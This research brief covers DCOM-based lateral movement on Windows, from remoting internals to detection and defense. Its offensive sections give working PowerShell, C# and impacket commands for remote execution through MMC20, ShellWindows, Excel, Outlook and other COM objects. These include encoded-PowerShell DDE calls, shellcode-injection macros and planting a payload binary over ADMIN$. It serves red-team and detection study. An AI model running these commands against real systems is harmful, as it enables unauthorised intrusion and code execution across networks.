# RESEARCH BRIEF: COM/DCOM for Lateral Movement (T1021.003 / T1559.001)

## 1. DCOM Remoting Fundamentals
- COM = local inter-process object model; DCOM = COM remoted over ORPC (Object RPC = DCE/RPC with `ncacn_ip_tcp`). Client activates a class on a remote host via `CoCreateInstanceEx(&clsid, pUnkOuter, CLSCTX_REMOTE_SERVER, pServerInfo /* COSERVERINFO */, n, rgiq)` where `COSERVERINFO.pwszName` = target (FQDN for Kerberos; IP forces NTLM).
- Wire path: TCP 135 (epmap) → remote RPCSS resolves CLSID under HKCR\CLSID → Launch/Activation permission check → **DcomLaunch** (`svchost.exe -k DcomLaunch`) starts the server (`mmc.exe -Embedding`, `EXCEL.EXE /automation -Embedding`, `DllHost.exe /Processid:{AppID}`) → dynamic high RPC port (49152-65535 Vista+; 1024-5000 legacy) assigned via OXID resolution (`IObjectExporter::ResolveOxid2`) → method calls (`IDispatch::GetIDsOfNames`/`Invoke`) over that port. 135 connection is short-lived.
- Activation interface: ISystemActivator / IRemoteSCMActivator — opnum 3 `RemoteGetClassObject`, opnum 4 `RemoteCreateInstance`.
- Auth: DCOM is always authenticated. Kerberos with hostname (SPN RPCSS/<host>); NTLMv2 with IP. Produces Security 4624 Type 3 on target (+Kerberos 4768/4769), 4648 on source for explicit creds.
- Authorization: per-AppID Launch/Activation Permissions (`LaunchPermission` REG_BINARY under `HKCR\AppID\{AppID}`) falling back to machine defaults (dcomcnfg). Default = Administrators Local+Remote Launch/Activation. Abused objects (MMC20, ShellWindows, ShellBrowserWindow) have NO explicit LaunchPermission → inherit default → local admin on target is the practical requirement. Enumerate: `Get-CimInstance Win32_DCOMApplication`; audit ACLs with OleViewDotNet (filter `entry LaunchPermission == None`).
- "Distributed COM Users" group exists to delegate to non-admins but is usually empty; non-RID-500 local accounts blocked by UAC remote token filtering unless `LocalAccountTokenFilterPolicy=1`; domain accounts in local Administrators work.
- Why stealthy: no service creation (no 7045), no scheduled task, no ADMIN$ needed for pure PowerShell/C# primitives, no new listening port, execution rides signed Microsoft binaries, same RPC plumbing as legit admin tools. Semi-interactive: output exfil out-of-band (redirect to share or impacket `\\127.0.0.1\ADMIN$` write-back).

## 2. Abusable Remote COM Objects
### 2.1 MMC20.Application (enigma0x3, Jan 5 2017)
- CLSID `{49B2791A-B1AE-4C90-9B8E-E860BA07F889}`; ProgID MMC20.Application; AppID `{7E0423CD-1119-0928-900C-E6D4A52A0715}`; host: mmc.exe spawned by svchost -k DcomLaunch with `-Embedding`.
- Method: `Document.ActiveView.ExecuteShellCommand(Command, Directory, Parameters, WindowState)`; WindowState "7" = minimized.
- Chain: auth (admin) → remote-activate → mmc.exe starts as authenticating user → ExecuteShellCommand with program/args split → child of mmc.exe → output out-of-band.
- Firewall caveat: inbound "Microsoft Management Console" rule must be enabled (default blocked).
```powershell
$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.99.132"))
$com.Document.ActiveView.ExecuteShellCommand("C:\Windows\System32\cmd.exe",$null,"/c whoami > C:\temp\o.txt","7")
```
```csharp
Type t = Type.GetTypeFromProgID("MMC20.Application", "192.168.1.10");
object com = Activator.CreateInstance(t);
object doc  = t.GetType().InvokeMember("Document",  BindingFlags.GetProperty, null, com, null);
object view = doc.GetType().InvokeMember("ActiveView", BindingFlags.GetProperty, null, doc, null);
view.GetType().InvokeMember("ExecuteShellCommand", BindingFlags.InvokeMethod, null, view,
    new object[]{ "C:\\Windows\\System32\\cmd.exe", null, "/c whoami > C:\\temp\\o.txt", "7" });
```
IoCs: svchost → mmc.exe (-Embedding); mmc.exe → cmd/powershell; Sigma MMC20; 4624 type 3.

### 2.2 ShellWindows (enigma0x3 Round 2, Jan 23 2017)
- CLSID `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}`; no ProgID; LocalServer32 rundll32.exe; RunAs Interactive User.
- Method: `.Item().Document.Application.ShellExecute(sFile, vArguments, vDirectory, vOperation, vShow)` (IShellDispatch2); vShow 0 = hidden. Default object in impacket dcomexec.
- Piggybacks already-running explorer.exe → no new COM host process; requires interactive session on target. Bonus methods: ServiceStart/ServiceStop/IsServiceRunning/ShutDownWindows/GetSystemInformation.
```powershell
$com = [Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.99.13")
$obj = [System.Activator]::CreateInstance($com)
$item = $obj.Item()
$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
```
```python
dcomexec.py DOMAIN/admin:pass@192.168.1.10 "cmd.exe /c whoami > C:\\temp\\o.txt"   # ShellWindows default
dcomexec.py -object ShellWindows -hashes :NTHASH DOMAIN/admin@192.168.1.10
```
IoCs: payload child of explorer.exe; DCE/RPC GetIDsOfNames "ShellExecute" + Invoke with full command line in cleartext at Packet-Integrity (integrity ≠ encryption).

### 2.3 ShellBrowserWindow (enigma0x3 Round 2; bohops Navigate variant Mar 17 2018)
- CLSID `{C08AFD90-F2A1-11D1-8455-00A0C91F3880}`; no ProgID; RunAs Interactive User. Win10/2012R2+ only — absent on Win7.
- Method: `Document.Application.ShellExecute(...)` directly (no .Item()); or IWebBrowser2 `Navigate`/`Navigate2`.
```powershell
([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))).Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)
([activator]::CreateInstance([type]::GetTypeFromCLSID("C08AFD90-F2A1-11D1-8455-00A0C91F3880","TARGET"))).Navigate("C:\path\payload.exe")
```
Navigate/2: no command switches (file path only), avoid .hta (prompt), avoid HTTP/S (IE window pops), UNC works; worked Win10→2012 but NOT against Win10/2016 targets in bohops' tests.

### 2.4 Excel.Application — five primitives (CLSID `{00020812-0000-0000-C000-000000000046}`)
Host: EXCEL.EXE launched with `/automation -Embedding` (strong artifact). Needs Office.
(a) **DDEInitiate** (Cybereason/Tsukerman, Sep 11 2017): `DDEInitiate(App, Topic)` — App ≤ 8 chars, ".exe" auto-appended (pass "cmd"); Topic ≤1024 chars; DisplayAlerts=$false. Child of EXCEL.EXE.
```powershell
$hb = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application","192.168.126.134"))
$hb.DisplayAlerts = $false
$hb.DDEInitiate('cmd','/c powershell -enc <cradle>')
```
(b) **RegisterXLL** (Ryan Hanson/Empire): `Application.RegisterXLL(dllPath)` — DllMain executes regardless of extension/exports; UNC works.
(c) **Run() macro** (enigma0x3): copy .xlsm, Workbooks.Open, `$com.Run("MyMacro")`.
(d) **ExecuteExcel4Macro XLM** (Stan Hegt/Outflank; MDSec C# "I Like to Move It Part 2", Sep 2020): fileless XLM `EXEC("calc.exe")`, or full shellcode injection inside DCOM-spawned excel.exe via CALL("Kernel32","VirtualAlloc",...) + RtlMoveMemory + QueueUserAPC. SharpExcel4-DCOM (rvrsh3ll).
```csharp
Type ComType = Type.GetTypeFromProgID("Excel.Application", REMOTE_HOST);
object excel = Activator.CreateInstance(ComType);
excel.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, excel,
    new object[] { "EXEC(\"calc.exe\")" });
```
(e) **ActivateMicrosoftApp** (SpecterOps 2023): `ActivateMicrosoftApp(5|6|7)` launches EOL FoxPro/WinProj/Schedule+ via PATH search → plant payload as `%LOCALAPPDATA%\Microsoft\WindowsApps\FOXPROW.exe` over ADMIN$. Win10/11 + Office 365 x64.
IoCs: svchost -k DcomLaunch → EXCEL.EXE /automation -Embedding; children of EXCEL.EXE; Sysmon 7 (.xll/unknown DLL); Office non-interactive on servers ≈ zero FP.

### 2.5 Outlook.Application — CreateObject + DotNetToJScript (enigma0x3, Nov 16 2017)
CLSID `{0006F03A-0000-0000-C000-000000000046}`; host OUTLOOK.EXE -Embedding.
```powershell
$com = [Type]::GetTypeFromProgID('Outlook.Application','192.168.99.152')
$object = [System.Activator]::CreateInstance($com)
$RemoteScriptControl = $object.CreateObject("ScriptControl")
$RemoteScriptControl.Language = "JScript"
$RemoteScriptControl.AddCode($code)   # $code = DotNetToJScript output → fileless shellcode
```
Fileless shellcode exec on remote host. Variant: `$object.CreateObject("Shell.Application").ShellExecute(...)`; Wscript.Shell adds wshom.ocx image-load IoC. Needs Outlook.

### 2.6 Visio (Cybereason): ProgIDs Visio.Application / Visio.InvisibleApp; `Addons.Add(path)` loads any executable as addon; child of VISIO.EXE.
### 2.7 PowerPoint (attactics.org, Feb 2018): `PowerPoint.Application` + `AddIns.Add("c:\addin.ppam")` → VBA add-in macro. Invoke-DCOMPowerPointPivot.ps1.
### 2.8 Word/IE status: Word DDE remote unverified (only Excel worked for Cybereason); macro route plausible-unverified. InternetExplorer.Application (`{0002DF01-0000-0000-C000-000000000046}`) constrained by IE protected mode; use bohops Navigate via ShellBrowserWindow. Sigma rule exists for "DCOM InternetExplorer.Application iertutil DLL hijack".
### 2.9 LethalHTA (codewhitesec, Jul 2018): remote `htafile` ProgID (mshta LocalServer32) + custom moniker + DotNetToJScript → fileless HTA-less exec. github.com/codewhitesec/LethalHTA.
### 2.10 Abandoned DCOM binaries (bohops, Apr 28 2018): find DCOM class whose LocalServer32/InProcServer32 binary doesn't exist on target → plant payload at that path → activate. Canonical: mobsync.exe (absent on 2008R2/2012R2), SyncInfrastructure Class CLSID `{C947D50F-378E-4FF6-8835-FCB50305244D}`:
```powershell
copy evil.exe \\target\admin$\system32\mobsync.exe
[activator]::CreateInstance([type]::GetTypeFromCLSID("C947D50F-378E-4FF6-8835-FCB50305244D","target"))
```
Client sees 0x80080005 CO_E_SERVER_EXEC_FAILURE but payload runs. IoC: System log DistributedCOM 10010 ("did not register with DCOM within the required timeout"). Third-party leftovers too (IntelCpHDCPSvc.exe AppID `{84081F6F-8B2D-4FFE-AF7F-E72D488FABEB}`).

Summary: MMC20 (mmc.exe child, fileless cmdline) · ShellWindows/ShellBrowserWindow (explorer.exe child, fileless; need interactive session) · Excel ×5 (EXCEL.EXE child) · Outlook (fileless shellcode) · Visio/PowerPoint (addon file) · mobsync (planted binary, event 10010).

## 3. Operational Details
```powershell
$Type = [Type]::GetTypeFromCLSID($clsid, $ComputerName)
$Type = [Type]::GetTypeFromProgID($ProgId, $ComputerName)
$ComObject = [Activator]::CreateInstance($Type)
```
.NET COM interop does CoCreateInstanceEx + COSERVERINFO; no P/Invoke. Kerberos needs target by name; IP ⇒ NTLM.
Tools: SharpCOM (rvrsh3ll), SharpExcel4-DCOM, CsDCOM (rasta-mouse), SharpMove (0xthirteen, action=dcom/hijackdcom), MoveKit, SharpLateral (`reddcom`).
impacket dcomexec.py (agsolino/byt3bl33d3r): objects MMC20|ShellWindows(default)|ShellBrowserWindow; semi-interactive; output via `cmd /c <cmd> 1> \\127.0.0.1\ADMIN$\__<epoch>.<ms> 2>&1` read over SMB (needs ADMIN$; -share; -nooutput blind); -shell-type powershell; -silentcommand; auth: cleartext, -hashes (PtH), -k Kerberos/-aesKey/-keytab. Tested: MMC20 Win7/10/2012R2; ShellWindows Win7/10/2012R2; ShellBrowserWindow Win10/2012R2.
NetExec: `nxc smb <target> -u user -p pass --exec-method mmcexec -x "whoami"` (--dcom-timeout). Empire: powershell/lateral_movement/invoke_dcom (MMC20, ShellWindows, ShellBrowserWindow, ExcelDDE, RegisterXLL, DetectOffice). Cobalt Strike: remote-exec com-mmc20 via Aggressor:
```
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","TARGET")).Document.ActiveView.ExecuteShellCommand("c:\windows\temp\a.exe", $null, "", "7");
```
Token notes: single-hop (no delegation); PtH works; Kerberos by hostname; Protected Users blocks NTLM; 127.0.0.1 loopback works for local testing (ShellWindows loopback runs in interactive user's explorer context).
OPC DA (OT): OPC Classic is entirely DCOM — OPCEnum DCOM service; same 135+dynamic footprint; KB5004442 broke legacy OPC deployments. Environment-specific.

## 4. OpSec & Detection
Sysmon: EID 1 svchost(-k DcomLaunch)→mmc.exe -Embedding; svchost→EXCEL.EXE /automation -Embedding; DllHost.exe /Processid:{AppID}; second-gen mmc.exe→cmd.exe, explorer.exe→cmd.exe, EXCEL.EXE→cmd.exe (FalconFriday: /automation -Embedding alone noisy — correlate). EID 3: inbound 135 to svchost + dynamic high-port; egress from mmc/excel = beacon. EID 7: .xll/unknown DLL into EXCEL; wshom.ocx; iertutil.dll from non-system path. EID 11/13: ADMIN$ writes, mobsync.exe, .ppam/.xlsm; LaunchPermission tampering.
Windows events: 4624 Type 3; 4648; 4672; System DistributedCOM 10010 (mobsync), 10006/10016 (denials); KB5004442 events 10036 (server-side rejected below PKT_INTEGRITY — user/SID/client IP), 10037/10038 (client-side). Audit DCOM Activity (rarely enabled).
ETW: Microsoft-Windows-RPC surfaces ORPC calls; MDI "Remote code execution attempt" for MMC20/ShellWindows.
Network: DCE/RPC ISystemActivator RemoteGetClassObject (opnum 3)/RemoteCreateInstance to 135; IDispatch GetIDsOfNames method strings ("ShellExecute", "ExecuteShellCommand") + Invoke args in cleartext at Packet Integrity (only Packet Privacy encrypts); workstation-to-workstation 135 high-fidelity. Zeek dce_rpc/Suricata; Elastic prebuilt "Incoming DCOM Lateral Movement with MMC".
Tooling signatures: impacket output regex `\\__[0-9]{10}\.[0-9]{6,7}\s2>&1` (misthi0s); Sigma proc_creation_win_hktl_sharpmove.
Sigma MMC20 (f1f3bf22-deb2-418d-8cce-e1a45e46a5bd, high): ParentImage endswith \svchost.exe + Image endswith \mmc.exe + CommandLine contains -Embedding.
KB5004442 / CVE-2021-26414 "DCOM Hardening": Jun 2021 opt-in → Jun 14 2022 default → Mar 14 2023 mandatory. Min activation auth level RPC_C_AUTHN_LEVEL_PKT_INTEGRITY; `HKLM\SOFTWARE\Microsoft\Ole\AppCompat\RequireIntegrityActivationAuthenticationLevel=1`. Kills unauthenticated/relay paths (RemotePotato0 OXID-MITM→relay); rejects old clients (10036/37/38); does NOT stop authenticated admin DCOM LM.

## 5. Defense
1. Segment: block workstation-to-workstation 135+dynamic; restrict to management hosts/PAWs; disable inbound "COM+ Network Access (DCOM-In)", "Microsoft Management Console".
2. DCOM ACLs: dcomcnfg COM Security Edit Default/Limits remove Remote Launch/Activation from Administrators; per-object: take ownership of HKCR\AppID\{guid} (TrustedInstaller), set explicit LaunchPermission deny remote, restore ownership, remove your FullControl. Monitor EID 13.
3. Disable DCOM: `HKLM\SOFTWARE\Microsoft\Ole EnableDCOM="N"` — breaks remote WMI; test at scale.
4. Identity: LAPS, tiered admin/PAWs, Credential Guard, Protected Users (blocks NTLM DCOM/PtH; Kerberos DCOM still possible), disable NTLM; monitor KB5004442 state.
5. App control: block Office child processes, ASR rules, no Office on servers, block mshta/ScriptControl.

## Diagrams to draw
1. DCOM remote activation across machines (attacker → 135/epmap → RPCSS → ACL check → DcomLaunch → mmc.exe -Embedding → OXID/dynamic port → IDispatch Invoke) with per-arrow telemetry tags.
2. MMC20 ExecuteShellCommand chain (object model walk Application→Document→ActiveView→ExecuteShellCommand; per-hop detection).
3. Detection data-source map (5 attack stages × sources, with "broken by hardening?" tags).

## REFERENCES
enigma0x3 MMC20 — https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/ · Round 2 — https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/ · Excel — https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/ · Outlook — https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/ · Cybereason Excel DDE — https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom · Cybereason DCOM techniques — https://www.cybereason.com/blog/dcom-lateral-movement-techniques · bohops Navigate — https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ · bohops mobsync — https://bohops.com/2018/04/28/abusing-dcom-for-yet-another-lateral-movement-technique/ · MDSec DCOM — https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-2-dcom/ · SpecterOps Excel AMA — https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922 · MITRE T1021.003 / T1559.001 · impacket dcomexec — https://github.com/fortra/impacket/blob/master/examples/dcomexec.py · NetExec — https://www.netexec.wiki/smb-protocol/command-execution/execute-remote-command · Invoke-DCOM.ps1 — https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/master/Invoke-DCOM.ps1 · SharpMove — https://github.com/0xthirteen/SharpMove · SharpCOM — https://github.com/rvrsh3ll/SharpCOM · SharpExcel4-DCOM — https://github.com/rvrsh3ll/SharpExcel4-DCOM · Cobalt Strike user guide remote-exec · LethalHTA — https://codewhitesec.blogspot.com/2018/07/lethalhta.html · PowerPoint — https://attactics.org/2018/02/dcom-lateral-movement-powerpoint/ · RemotePotato0 — https://www.sentinelone.com/labs/relaying-potatoes-another-unexpected-privilege-escalation-vulnerability-in-windows-rpc-protocol/ · KB5004442 — support.microsoft.com (CVE-2021-26414) · OleViewDotNet — https://github.com/tyranid/oleviewdotnet · Sigma MMC20 — https://detection.fyi/sigmahq/sigma/windows/process_creation/proc_creation_win_mmc_mmc20_lateral_movement/ · FalconFriday 0xFF05 — https://falconforce.nl/falconfriday-dcom-scm-lateral-movement-0xff05/ · misthi0s impacket hunting — https://misthi0s.dev/posts/2023-03-08-hunting-impacket-rce-tools/ · BloodHound ExecuteDCOM — https://bloodhound.specterops.io/resources/edges/execute-dcom · ired.team DCOM notes · HackTricks dcom-exec · Atomic T1021.003 · Software Toolbox OPC/DCOM hardening
Caveats: Word-DDE remote unverified; bohops Navigate/2 failed vs Win10/2016; ShellBrowserWindow absent on Win7; ShellWindows/ShellBrowserWindow need interactive session; KB5004442 does NOT stop authenticated admin DCOM LM.
